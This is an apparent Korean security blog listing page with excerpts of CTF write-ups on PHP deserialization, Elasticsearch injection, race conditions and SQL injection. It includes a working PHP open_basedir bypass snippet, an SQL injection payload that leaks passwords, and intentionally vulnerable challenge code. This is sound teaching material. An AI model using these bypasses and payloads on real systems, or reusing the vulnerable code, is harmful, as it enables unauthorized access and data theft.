| by munsiwoo | 19 comments

19Cyberoc 본선: Hidden Service Write up

2019 사이버작전 경연대회 본선에 나왔던 Hidden Service라는 웹 문제다. PHP 세션 핸들링 과정에서 읽고 쓰는 핸들러가 다를 때 발생하는 Insecure deserialization 취약점을 통해 플래그를 얻는 문제였는데, 아이디어가 재밌어서 글로 남겨본다. 일반부/청소년부 같은 문제로 이름만 다르게 나왔다. (Secret Service, Hidden Service) 1. 소스를 얻어보자 (Source code leaks) 첨부 파일로 준 index.php를 읽다보면 file inclusion 취약점을 발견할 […]

Read More
| by munsiwoo | 12 comments

Awesome PHP open_basedir bypass

@Blaklis_ 트윗에 open_basedir를 우회하는 새로운 방법이 올라왔다. Here is an awesome PHP open_basedir bypass by @Blaklis_ You are open_basedir’ed to /var/www/html Change into a sub-directory. ini_set(‘open_basedir’, ‘..’) chdir(‘..’);chdir(‘..’);chdir(‘..’);…. ini_set(‘open_basedir’,’/’) open_basedir is now set to /, enjoy Example code <?php ini_set(‘open_basedir’, ‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); chdir(‘..’);chdir(‘..’);chdir(‘..’); ini_set(‘open_basedir’, ‘/’); 원문 : […]

Read More
| by munsiwoo | No comments

[ASIS CTF/Dead engine] Elasticsearch Injection

요약 ASIS CTF의 Dead engine이라는 웹 문제다. Elasticsearch를 사용하고 있는 사이트에서 NoSQL Injection을 통해 플래그를 얻는 문제였다. Elasticsearch 환경은 처음이라 열심히 검색하면서 풀었는데 복습 겸 간단히 풀이만 적어본다. 풀이 우선 q, endpoint 이렇게 2개의 입력을 받아서 내부 검색 엔진으로 요청해주는 구조였다. 입력: q=abcd&endpoint=/articles/_search 내부 요청: http://localhost:9300/articles/_search?q=abcd 이렇게 http://localhost:9300{endpoint}?q={q} 각각 입력이 들어간다. endpoint를 조작하면 맘대로 검색 […]

Read More
| by munsiwoo | No comments

Race condition vulnerability in PHP (feat. 고등해커)

고등해커는 올해 처음으로 학생이 주도 및 운영해본 교내 CTF입니다. 저는 CTF플랫폼 제작과 웹 문제 출제를 담당했으며, 출제한 문제 중 친구들이 재밌게 풀어준 count라는 문제에 대해 간단히 풀이를 작성해보겠습니다. count는 PHP의 파일 입출력에서 발생할 수 있는 레이스컨디션 문제이며, flag를 얻는 것이 불가능해보이는 상황에서 레이스컨디션 공격을 이해하고 flag를 획득할 수 있는지 묻는 간단한 문제였습니다. 다음은 문제의 소스코드입니다. […]

Read More
| by munsiwoo | 1 comment

2018 ROOT CTF Write up

munswings, 아쉽게 4등했다. Web – Blind man (932pts) 회원가입의 pw부분에서 sqli가 발생하며 인젝션 포인트는 다음과 같다. insert into user (id, pw) values (‘asdf’, ‘{inject point}’); 여기서 ‘),(‘munsiwoo’, (select pw from user x limit 0,1)like’a%  이런식으로 넣는다면 insert into user (id, pw) values (‘asdf’, ”),(‘munsiwoo’, (select pw from user x limit 0,1)like’a%’); 위와 같은 쿼리가 완성되고, munsiwoo라는 […]

Read More
| by munsiwoo | 6 comments

3rd TenDollar CTF Write up

Summary 대회명: Tendollor CTF 일정: 24 Nov, 09:00 ~ 25 Nov, 15:00 KST 대회는 개인전이었고 지인을 통해 초대 코드를 받아야 참가할 수 있다. 스코어보드는 다이나믹 스코어링 방식이었고 전체적으로 난이도가 중~상 정도 되어보였다. 문제 이름이 XSS인 문제가 있었는데 꽤 재밌게 풀어서 풀이 작성해본다. (XSS는 마지막에) I’m Blind Not Deaf (250pts) <?php include ‘./config.php’; if(preg_match(‘tdf|/_|\.|\(\)/i’, $_GET[pw])) exit(“No […]

Read More
| by munsiwoo | 1 comment

교내대회 Old school whitebox

<?php error_reporting(0); require_once ‘config.php’; if(isset($_GET[‘username’], $_GET[‘password’])) { $username = addslashes($_GET[‘username’]); $password = password($_GET[‘password’]); $username = mb_convert_encoding($username ,’utf-8′,’euc-kr’); if(preg_match(‘/union.*select/i’, $username)) { die(‘<h3>(つ゚⊿゚)つ Hey Nope!</h3>’); } $conn = mysqli_connect(__HOST__, __USER__, __PASS__, __NAME__) or die(‘server down’); $query = “SELECT * FROM `users` WHERE `username`='{$username}’ AND `password`='{$password}’;”; $result = mysqli_query($conn, $query); if($fetch = mysqli_fetch_assoc($result)) { echo ‘<h3>(๑→ܫ←) Hello, ‘.$fetch[‘username’].'</h3>’; […]

Read More
| by munsiwoo | 1 comment

Hack.lu CTF 2018 – Baby PHP

<?php require_once(‘flag.php’); error_reporting(0); if(!isset($_GET[‘msg’])){ highlight_file(__FILE__); die(); } @$msg = $_GET[‘msg’]; if(@file_get_contents($msg)!==”Hello Challenge!”){ die(‘Wow so rude!!!!1’); } echo “Hello Hacker! Have a look around.\n”; @$k1=$_GET[‘key1’]; @$k2=$_GET[‘key2’]; $cc = 1337;$bb = 42; if(intval($k1) !== $cc || $k1 === $cc){ die(“lol no\n”); } if(strlen($k2) == $bb){ if(preg_match(‘/^\d+$/’, $k2) && !is_numeric($k2)){ if($k2 == $cc){ @$cc = $_GET[‘cc’]; } } […]

Read More
  • 1
  • 2